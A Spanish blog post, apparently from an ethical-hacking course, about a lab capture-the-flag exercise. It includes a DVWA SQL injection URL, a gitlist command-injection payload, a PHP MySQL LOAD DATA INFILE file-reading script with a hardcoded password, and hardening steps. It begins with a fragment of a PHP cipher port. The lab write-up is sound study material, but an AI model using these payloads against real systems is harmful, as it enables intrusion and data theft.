<table class="highlight tab-size js-file-line-container" data-tab-size="8" style="border-collapse: collapse; border-spacing: 0px; box-sizing: border-box; line-height: 18.2px; tab-size: 8;"><tbody style="box-sizing: border-box;">
<tr style="box-sizing: border-box;"><td class="blob-code blob-code-inner js-file-line" id="LC51" style="box-sizing: border-box; overflow: visible; padding: 0px 10px; position: relative; vertical-align: top; word-wrap: normal;"><span style="background-color: lime; font-family: Courier New, Courier, monospace;"><b><span style="white-space: pre;">v[</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">0</span><span style="white-space: pre;">] </span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">+=</span><span style="white-space: pre;"> (v[</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">1</span><span style="white-space: pre;">]</span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">+</span><span style="white-space: pre;">s) </span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">^</span><span style="white-space: pre;"> ((v[</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">1</span><span style="white-space: pre;">]</span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">>></span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">5</span><span style="white-space: pre;">)</span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">+</span><span style="white-space: pre;">key[</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">1</span><span style="white-space: pre;">]) </span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">^</span><span style="white-space: pre;"> ((v[</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">1</span><span style="white-space: pre;">]</span><span class="pl-k" style="box-sizing: border-box; white-space: pre;"><<</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">4</span><span style="white-space: pre;">)</span><span class="pl-k" style="box-sizing: border-box; white-space: pre;">+</span><span style="white-space: pre;">key[</span><span class="pl-c1" style="box-sizing: border-box; white-space: pre;">0</span><span style="white-space: pre;">])</span>
<span style="line-height: 18.2px; white-space: pre;">v[</span><span class="pl-c1" style="box-sizing: border-box; line-height: 18.2px; white-space: pre;">0</span><span style="line-height: 18.2px; white-space: pre;">] </span><span class="pl-k" style="box-sizing: border-box; line-height: 18.2px; white-space: pre;">&=</span><span style="line-height: 18.2px; white-space: pre;"> </span><span class="pl-c1" style="box-sizing: border-box;"><span class="pl-k" style="box-sizing: border-box; line-height: 18.2px; white-space: pre;">0x</span><span style="line-height: 18.2px; white-space: pre;">ffffffff</span>
<br /><span style="line-height: 18.2px; white-space: pre;">
ejemplos</span> de cómo computan diferente<br />
<span style="line-height: normal; text-align: -webkit-center; white-space: normal;"><br /></span><span style="line-height: normal; text-align: -webkit-center;">a- right shift <br /><br />3688618752 >> 5<br /></span><span style="line-height: normal; text-align: -webkit-center; white-space: normal;"><br />python </span><span style="font-size: small;"><span style="line-height: normal;">115269336<br />php</span></span><span style="line-height: 18.2px; white-space: pre;"> </span><span style="text-align: -webkit-center;"><span style="font-size: small; line-height: normal;">-18948392</span><br /><br /><span style="line-height: normal; white-space: pre;">b- left shift
</span></span><span style="line-height: normal; text-align: -webkit-center;"><br />3688618752 << 5 </span><span style="text-align: -webkit-center;"><span style="line-height: normal; white-space: pre;">
python 118035800064
php </span></span><span style="line-height: 18.2px;"></span></span><span style="line-height: normal; text-align: -webkit-center;"> </span><span style="line-height: normal; text-align: -webkit-center;">2071683072</span><span style="line-height: normal; text-align: -webkit-center;"><br /><br />en este caso basta con aplicar </span><span style="text-align: -webkit-center;"><span style="line-height: normal;">3688618752*pow(2,5)</span><br /><br /><br /><span style="line-height: normal;">c- bitwise XOR </span></span><span style="line-height: normal; text-align: -webkit-center;"><br />3688618752 ^ 5</span><span style="text-align: -webkit-center;"><br /><br /><span style="line-height: normal;">python 3688618757</span><br /><span style="line-height: normal;">php </span></span><span style="line-height: normal; text-align: -webkit-center;">-606348539<br /><br />usamos binxor, haciendo el xor bit a bit en binario. Pero hay que usar base_convert y no decbin porque éste último corta a 32 bits.</span></b></span></td></tr>
</tbody></table>
<span style="line-height: 16.8px; white-space: pre;"><span style="background-color: lime; font-family: Courier New, Courier, monospace;"><b>*/</b></span><span style="background-color: cyan; color: #333333; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 12px;">
</span><span style="background-color: white; color: #333333; font-family: Georgia, Times New Roman, serif;"> $w1= ($v[1]+$s);
$w2= (_rshift($v[1],5)+$key[1]);
$w3= ($v[1]*pow(2,4))+$key[0];
$z=binxor(binxor($w1,$w2),$w3);
$v[0]+=$z;
$v[0]=bigint($v[0]); // equivale a python </span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="background-color: white; color: #333333; line-height: 18.2px; white-space: pre;">v[</span><span class="pl-c1" style="background-color: white; box-sizing: border-box; color: #0086b3; line-height: 18.2px; white-space: pre;">0</span><span style="background-color: white; color: #333333; line-height: 18.2px; white-space: pre;">] </span><span class="pl-k" style="background-color: white; box-sizing: border-box; color: #a71d5d; line-height: 18.2px; white-space: pre;">&=</span><span style="background-color: white; color: #333333; line-height: 18.2px; white-space: pre;"> </span><span class="pl-c1" style="background-color: white; box-sizing: border-box; color: #333333; line-height: 18.2px;"><span class="pl-k" style="box-sizing: border-box; color: #a71d5d; line-height: 18.2px; white-space: pre;">0x</span><span style="color: #0086b3;"><span style="line-height: 18.2px; white-space: pre;">ffffffff</span></span></span><span style="background-color: white; line-height: 16.8px; white-space: pre;"><span style="color: #333333;">
$w1= ($v[0]+$s);
$w2= (_rshift($v[0],5)+$key[3]);
$w3= ($v[0]*pow(2,4))+$key[2];
$z=binxor(binxor($w1,$w2),$w3);
$v[1]+=$z;
$v[1]=bigint($v[1]);
}
return packk($v);
}</span></span></span><br />
<br />
<table class="highlight tab-size js-file-line-container" data-tab-size="8" style="background-color: white; border-collapse: collapse; border-spacing: 0px; box-sizing: border-box; color: #333333; font-family: Helvetica, arial, nimbussansl, liberationsans, freesans, clean, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 13px; line-height: 18.2px; tab-size: 8;"><tbody style="box-sizing: border-box;"></tbody></table>
josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com1tag:blogger.com,1999:blog-7497320377221458624.post-50052141126148266972015-10-21T13:51:00.000-07:002015-10-22T06:36:46.931-07:00Compendio de hacking ético<div style="background-color: white; color: #222222; font-stretch: normal; font-weight: normal; margin: 0.75em 0px 0px; position: relative; text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Comenzamos reseñando una serie de s<a href="http://denobishackingetico.blogspot.com.es/2015/09/sitios-relevantes-para-el-hacking-etico.html" style="color: #ff9900; text-decoration: none;">itios relevantes para el hacking ético</a>, para luego manejar una serie de h<a href="http://denobishackingetico.blogspot.com.es/2015/09/herramientas-basicas-para-obtener.html" style="color: #ff9900; text-decoration: none;">erramientas básicas para obtener información de servidores externos</a>, como ping, whois y nmap. El manejo de <a href="http://denobishackingetico.blogspot.com.es/2015/09/21-capturando-trafico-con-wireshark.html" style="color: #ff9900; text-decoration: none;">Wireshark</a> se mostró interesante a la hora de analizar las conexiones en general, lo que se aplicó al estudio del telnet, ssh y ssl. Posteriormente sobrevolamos los rudimentos básicos de la <a href="http://denobishackingetico.blogspot.com.es/2015/09/sql-injection.html" style="color: #ff9900; text-decoration: none;">SQL injection</a> sobre la plataforma DVWA. Concluimos esta fase con una <a href="http://denobishackingetico.blogspot.com.es/2015/09/24-reflexion.html" style="color: #ff9900; text-decoration: none;">Reflexión</a> general de lo hecho hasta entonces.</span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">Para continuar se requirió resolver un enigma que consistía en descifrar un archivo gpg cuya clave se encontraba oculta en un servidor DVWA. Usando inyección SQL con la pista de Yoda <span style="line-height: 1.6em;">buscamos la tabla guestbook de la que volcamos todos sus campos:</span></span></div>
<div style="background-color: white; box-sizing: inherit; font-stretch: normal; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #3c3c3c; font-family: Georgia, Times New Roman, serif;"><span style="line-height: 25.6px;">http://pruebas.euskalert.net/vulnerabilities/sqli/?id=%25%27+and+1%3D0+union+select+null%2C+concat%28comment_id%2C0x0a%2Ccomment%2C0x0a%2Cname%29+from+guestbook+%23&Submit=Submit#</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOAFQWjbnWLLPKIJt71Mtt-hZli5x8WU4M3ttNWexH2lbioqyab2zB-nx7sPmC1j1hDbnea0CjQ8peJOqL4HwTL8CdL84bMtlGcOs2vP7SVy4OlRtwo2BNzZ_W7vilk0YkZULgXh4it5I/s1600/enigma.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="570" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOAFQWjbnWLLPKIJt71Mtt-hZli5x8WU4M3ttNWexH2lbioqyab2zB-nx7sPmC1j1hDbnea0CjQ8peJOqL4HwTL8CdL84bMtlGcOs2vP7SVy4OlRtwo2BNzZ_W7vilk0YkZULgXh4it5I/s640/enigma.jpg" width="640" /></a></div>
<div style="background-color: white; box-sizing: inherit; font-stretch: normal; margin-bottom: 1.41575em; margin-top: 20px;">
<br /></div>
<div style="background-color: white; box-sizing: inherit; font-stretch: normal; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #3c3c3c; font-family: Open Sans, Verdana, Geneva, sans-serif, sans-serif;"><span style="line-height: 25.6px;">Desencriptamos el gpg con la clave "<b>use the force</b>"</span></span></div>
<div style="background-color: white; box-sizing: inherit; font-stretch: normal; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #3c3c3c; font-family: Open Sans, Verdana, Geneva, sans-serif, sans-serif;"><span style="line-height: 25.6px;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAukzrhez9Fgq-C0gRo1uIt2yYvv-L1mGsBgHBt-88Pql-gaWniHhC2XUyv8ed8I09OSyxyL9JNQzihnTXljigjyg-mj_obGGUX4hB8JyjiEEfM4KlSkZaOBSsV8fnYCOqk_daGNN0lr0/s1600/decryptenigma.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="322" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAukzrhez9Fgq-C0gRo1uIt2yYvv-L1mGsBgHBt-88Pql-gaWniHhC2XUyv8ed8I09OSyxyL9JNQzihnTXljigjyg-mj_obGGUX4hB8JyjiEEfM4KlSkZaOBSsV8fnYCOqk_daGNN0lr0/s640/decryptenigma.jpg" width="640" /></a></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-family: 'Open Sans', Verdana, Geneva, sans-serif, sans-serif; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px;">
<br /></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="font-family: Georgia, Times New Roman, serif;">Una vez en el grupo oculto de Facebook <b>consejojedi </b>formamos grupo</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/joseluis.lucassaorin?fref=grp_mmbr_list" style="line-height: 1.38; text-decoration: none;"><span style="color: black; font-size: 16px; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">José Luis Lucas Saorín</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/profile.php?id=100010391340422&fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Jhonatan Ospina</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/yon.barrios.3?fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Anderson Barrios</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/anton.alberdi?fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Anton Alberdi</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/profile.php?id=100010374484571&fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Mooc Fran</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/oscar.e.abarca?fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Oscar Eduardo Navarrete Abarca</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/rhein32?fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Jesus Pardo Delgado</span></span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<a href="https://www.facebook.com/oscar.f.castillo?fref=grp_mmbr_list" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Oscar Fernando Castillo Delabarra</span></span></a></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;"><span id="docs-internal-guid-a55ad48d-8bcf-eb7b-821f-7a44264504d9">siéndonos asignado el servidor </span><span style="color: #141823; line-height: 1.6em; vertical-align: baseline; white-space: pre-wrap;"><b>188.166.84.116 en cuanto equipo número 6</b>. Lo primero fue establecer qué archivos eran los gpg secretos que debíamos defender y dónde buscarlos en el resto de equipos. Dado que eran gpg's una sencilla búsqueda locate -b *.gpg nos dio la pista, descubriendo los tres:</span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #141823; line-height: 1.6em; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;"><b>- en /srv/ftp, disponible para cualquier usuario anónimo, level 2</b></span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #141823; line-height: 1.6em; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;"><b>- en /usr/share/doc/base-files, level 1</b></span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #141823; line-height: 1.6em; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;"><b>- en /var/lib/mysql, level 3, con grupo:usuario mysql</b></span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px;">
<span style="color: #141823; line-height: 1.6em; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">Nos organizamos rápidamente de lo que reseño lo siguiente:</span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #141823; line-height: 1.6em; vertical-align: baseline; white-space: pre-wrap;">1. <b>reforzamos el servidor</b> en sí a</span><span style="background-color: #f6f7f8; color: #141823; white-space: pre-wrap;">ctualizándolo e instalando fail2ban, </span><span style="background-color: #f6f7f8; color: #141823; white-space: pre-wrap;"> sysctl.conf - configuraciones básicas de seguridad, </span><span style="background-color: #f6f7f8; color: #141823; white-space: pre-wrap;">protección básica contra ip spoofing, </span><span style="background-color: #f6f7f8; color: #141823; line-height: 1.38; text-align: justify; white-space: pre-wrap;">denegación de respuesta a solicitudes ICMP, i</span><span style="background-color: #f6f7f8; color: #141823; white-space: pre-wrap;">nstalación de denyhosts, </span><span style="background-color: #f6f7f8; color: #141823; white-space: pre-wrap;">configuración de Iptables para evitar escaneos con nmap y ataques DoS básicos. Cambiamos la clave ssh de acceso.</span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: justify;">
<span style="background-color: #f6f7f8; color: #141823; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;">2. del análisis de las aplicaciones instaladas observamos lo siguiente:</span></span></div>
<div style="background-color: white; box-sizing: inherit; color: #3c3c3c; font-size: 16px; font-stretch: normal; line-height: 1.6em !important; margin-bottom: 1.41575em; margin-top: 20px; text-align: justify;">
</div>
<ul>
<li><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; line-height: 1.6em; white-space: pre-wrap;">a)</span><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; line-height: 1.6em; white-space: pre-wrap;"> <b>aseguramos el servidor vsftpd</b> eliminando el acceso anónimo</span></li>
<li><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; line-height: 1.6em !important; white-space: pre-wrap;">b) <b>parcheamos el cacti</b> 0.8.8a (</span><span style="background-color: transparent; font-family: Georgia, 'Times New Roman', serif; line-height: 25.6px; white-space: pre-wrap;"><span style="color: #141823;">http://www.cacti.net/download_patches.php?version=0.8.8a</span></span><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; line-height: 1.6em; white-space: pre-wrap;">) para hacerlo invulnerable a los posibles exploits e inyecciones sql, y cambiamos la contraseña por defecto que traía de lo que supusimos que en todos los servidores sería igual, lo que finalmente se mostró crucial para poder atacar y obtener los archivos level 3.</span></li>
<li><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; line-height: 1.6em !important; white-space: pre-wrap;">c) <b>actualizamos el gitlist</b> a la versión 0.5 para evitar la </span><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; line-height: 1.6em !important; white-space: pre-wrap;">vulnerabilidad Remote Code Execution del 0.4.0: </span><span style="background-color: transparent; font-family: Georgia, 'Times New Roman', serif; line-height: 25.6px; white-space: pre-wrap;"><span style="color: #141823;">http://www.cvedetails.com/cve/CVE-2014-4511/</span></span></li>
</ul>
<br />
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;">En la <b>fase de ataque</b> participamos en cierta medida todos porque la rapidez parecía importante a la hora de conseguir los archivos, suponiendo en buena medida que los equipos que no se hubieran protegido correctamente lo harían al detectar intrusiones, por lo que un segundo ataque sería improbable.</span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div style="text-align: justify;">
<ul>
<li><span style="font-family: Georgia, 'Times New Roman', serif;">a) lo primero fue un barrido de los servidores ftp's para detectar los que permanecieran anónimos y que nos sirvió para conseguir un buen número de level 2.</span></li>
</ul>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<ul>
<li><span style="font-family: Georgia, 'Times New Roman', serif;">b) en segundo lugar procedimos a explotar la vulnerabilidad gitlist con el script https://www.exploit-db.com/exploits/33990/ aunque se puede ejecutar código directamente de la forma </span><span style="background-color: #f6f7f8; color: #141823; font-family: Georgia, 'Times New Roman', serif; font-size: 16px; white-space: pre-wrap;">ip/gitlist/gitlist/blame/master/""`ls -l /var/www/gitlist/cache/`. La vulnerabilidad se describe aquí: </span><span style="background-color: #f6f7f8; color: #1155cc; font-family: Georgia, 'Times New Roman', serif; font-size: 16px; line-height: 1.38; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"><a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/" style="line-height: 1.38; text-decoration: none;">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>. </span><span style="background-color: #f6f7f8; font-family: Georgia, 'Times New Roman', serif; font-size: 16px; line-height: 1.38; white-space: pre-wrap;">Esto nos sirvió para obtener tanto los level 1 como los level 2 de los servidores vulnerables. Con la posibilidad de tener un reverse shell probamos incluso a intentar obtener permisos root con algún exploit.</span></li>
</ul>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><span style="line-height: 22.08px; white-space: pre-wrap;"><br /></span></span></div>
<ul>
<li><span style="background-color: #f6f7f8; font-family: Georgia, 'Times New Roman', serif; font-size: 16px; line-height: 1.38; white-space: pre-wrap;">c) dado que los <b>level 3</b> tienen permisos mysql supusimos que solo se podrían obtener explotando el cacti o el mysql. A falta de un método directo de inyección por sql en el propio cacti, probamos directamente a través de php y mysql como se explica aquí:</span></li>
</ul>
</div>
<div>
<span style="background-color: #f6f7f8; font-size: 16px; line-height: 1.38; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Georgia, Times New Roman, serif;"><br /></span></span></div>
<div>
<span style="background-color: #f6f7f8; font-size: 16px; line-height: 1.38; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"><span id="docs-internal-guid-a55ad48d-8bef-1f75-1df9-cdf30ff8a862"><span style="font-family: Georgia, Times New Roman, serif;"></span></span></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: #f6f7f8; font-size: 16px; line-height: 1.38; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"><span id="docs-internal-guid-a55ad48d-8bef-1f75-1df9-cdf30ff8a862"><span style="font-family: Georgia, Times New Roman, serif;"><a href="http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/" style="text-decoration: none;"><span style="color: #1155cc; text-decoration: underline; vertical-align: baseline;">http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/</span></a></span></span></span></div>
<span style="background-color: #f6f7f8; font-size: 16px; line-height: 1.38; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"><span id="docs-internal-guid-a55ad48d-8bef-1f75-1df9-cdf30ff8a862"><span style="font-family: Georgia, Times New Roman, serif;">
<br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">la forma de asegurarlo es </span><span style="background-color: white; color: #333333; font-style: italic; font-weight: 700; vertical-align: baseline;">deshabilitando cualquier LOAD DATA LOCAL</span><span style="background-color: white; color: #333333; font-style: italic; vertical-align: baseline;"> arrancando mysqld con la opción</span><span style="background-color: white; color: #333333; font-style: italic; font-weight: 700; vertical-align: baseline;"> –local-infile=0</span></div>
<br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">Se precisa que la contraseña de Cacti sea por defecto y se requiere primero poder subir archivos (vulnerabilidad gitlist). La inyección por medio de un archivo php es</span></div>
<br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">$c = mysql_connect('localhost', 'cacti', 'epMeOwAb9') or die(mysql_error());</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">mysql_select_db ('cacti') or die(mysql_error());</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">mysql_query('CREATE TABLE IF NOT EXISTS vaapad (path longtext not null)',$c) or die(mysql_error());</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">mysql_query("LOAD DATA INFILE '{$level3}' INTO TABLE <span style="line-height: 22.08px;">vaapad</span>",$c) or die(mysql_error());</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">$r = mysql_query('select * from <span style="line-height: 22.08px;">vaapad</span>', $c) or die(mysql_error());</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">while($row = mysql_fetch_assoc($r)) {</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;"> echo $row[path];</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;"> }</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">mysql_query('drop table mooc', $c);</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">mysql_close($c);</span></div>
<br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="color: #141823; vertical-align: baseline;">Se conecta a la base de datos, se crea una tabla y se carga el archivo {$<span style="line-height: 22.08px;">level3</span>} para por último leerlo en el servidor www.</span></div>
<br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;">
<span style="background-color: white; color: #333333; vertical-align: baseline;">Razón del agujero</span></div>
<br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: #333333; vertical-align: baseline;">The problem is that </span><span style="background-color: white; color: #333333; font-weight: 700; vertical-align: baseline;">MySQL is a service</span><span style="background-color: white; color: #333333; vertical-align: baseline;"> running on it’s own. Usually,</span><span style="background-color: white; color: #333333; font-weight: 700; vertical-align: baseline;"> your PHP process is “jailed” within the limits of the www-data user</span><span style="background-color: white; color: #333333; vertical-align: baseline;"> or the one that suPHP has provided you…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: #333333; vertical-align: baseline;">I’m thinking of a standard </span><a href="http://debian.org/" style="text-decoration: none;"><span style="background-color: white; color: #743399; text-decoration: underline; vertical-align: baseline;">Debian</span></a><span style="background-color: white; color: #333333; vertical-align: baseline;"> installation, where </span><span style="background-color: white; color: #333333; font-weight: 700; vertical-align: baseline;">MySQL</span><span style="background-color: white; color: #333333; vertical-align: baseline;"> usually </span><span style="background-color: white; color: #333333; font-weight: 700; vertical-align: baseline;">runs under user “mysql”, which has access to some interesting stuff</span><span style="background-color: white; color: #333333; vertical-align: baseline;">, like </span><span style="background-color: white; color: #333333; font-size: 13.3333px; vertical-align: baseline;">/var/log/mysql.err</span><span style="background-color: white; color: #333333; vertical-align: baseline;">,</span><span style="background-color: white; color: #333333; font-size: 13.3333px; vertical-align: baseline;">/var/log/mysql.log.*</span><span style="background-color: white; color: #333333; vertical-align: baseline;">, </span><span style="background-color: white; color: #333333; font-size: 13.3333px; vertical-align: baseline;">/var/log/mysql/*</span><span style="background-color: white; color: #333333; vertical-align: baseline;"> and </span><span style="background-color: white; color: #333333; font-size: 13.3333px; vertical-align: baseline;">/var/lib/mysql/*</span><span style="background-color: white; color: #333333; vertical-align: baseline;">, and this without considering all what the privileges of the user “mysql” implies.</span></div>
<div>
<span style="background-color: white; color: #333333; vertical-align: baseline;"><br /></span></div>
<div style="text-align: center;">
<span style="background-color: white; color: #333333; vertical-align: baseline;">Posible inyección SQL</span></div>
<div>
<span style="background-color: white; color: #333333; vertical-align: baseline;"><br /></span></div>
</span></span></span></div>
<div>
<span id="docs-internal-guid-a55ad48d-8bf1-77b9-00d8-b139b3bcb9d3"><span style="font-family: Georgia, Times New Roman, serif;"></span></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
